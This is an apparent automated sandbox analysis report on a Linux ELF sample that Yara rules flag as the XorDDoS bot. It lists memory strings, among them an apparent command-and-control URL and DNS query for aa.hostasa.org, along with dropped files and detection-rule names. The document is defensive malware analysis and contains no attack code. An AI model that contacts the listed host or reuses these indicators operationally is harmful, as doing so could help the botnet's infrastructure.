Di1p3oLnDb.elf, 6296.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6299.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6302.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6304.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6311.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6314.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp	String found in binary or memory: http://aa.hostasa.org/config.rartat456.com:1523
Source: Di1p3oLnDb.elf, thgxtutpuw.11.dr, xmnjiktnas.11.dr, qhknhggmjf.11.dr, koygrrjkon.11.dr, zzdslzxygn.11.dr, uvilsmwwhk.11.dr, bvyxmkkmbp.11.dr, ltaanxttrs.11.dr, dwfhzeeizt.11.dr, gwqnqvffue.11.dr, dvisuvnfsi.11.dr, libudev.so.11.dr, hszflciagy.11.dr, ilrbozcctp.11.dr, kihierzlde.11.dr	String found in binary or memory: http://www.gnu.org/software/libc/bugs.html

Source: unknown

DNS traffic detected: queries for: aa.hostasa.org

DDoS

Yara detected XorDDoS Bot

Source: Yara match	File source: Di1p3oLnDb.elf, type: SAMPLE
Source: Yara match	File source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6227, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6262, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6265, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6275, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6282, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6285, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6294, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6299, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6302, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6311, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6314, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6319, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6321, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6331, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6333, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6339, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6345, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6351, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6353, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6357, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6365, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6370, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6373, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6375, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6387, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6389, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6393, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6395, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6401, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6407, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6409, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6418, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6421, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6423, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6429, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6443, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6446, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6455, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Di1p3oLnDb.elf PID: 6463, type: MEMORYSTR
Source: Yara match	File source: /usr/bin/kihierzlde, type: DROPPED
Source: Yara match	File source: /usr/bin/xmnjiktnas, type: DROPPED
Source: Yara match	File source: /usr/bin/uvilsmwwhk, type: DROPPED
Source: Yara match	File source: /usr/lib/libudev.so, type: DROPPED
Source: Yara match	File source: /usr/bin/koygrrjkon, type: DROPPED
Source: Yara match	File source: /usr/bin/hszflciagy, type: DROPPED
Source: Yara match	File source: /usr/bin/qhknhggmjf, type: DROPPED
Source: Yara match	File source: /usr/bin/ilrbozcctp, type: DROPPED
Source: Yara match	File source: /usr/bin/cbsypxwvhg, type: DROPPED
Source: Yara match	File source: /usr/bin/dvisuvnfsi, type: DROPPED
Source: Yara match	File source: /usr/bin/dwfhzeeizt, type: DROPPED
Source: Yara match	File source: /usr/bin/gwqnqvffue, type: DROPPED
Source: Yara match	File source: /usr/bin/ltaanxttrs, type: DROPPED
Source: Yara match	File source: /usr/bin/bvyxmkkmbp, type: DROPPED
Source: Yara match	File source: /usr/bin/thgxtutpuw, type: DROPPED
Source: Yara match	File source: /usr/bin/zzdslzxygn, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: Detects XORDDoS Author: ditekSHen
Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
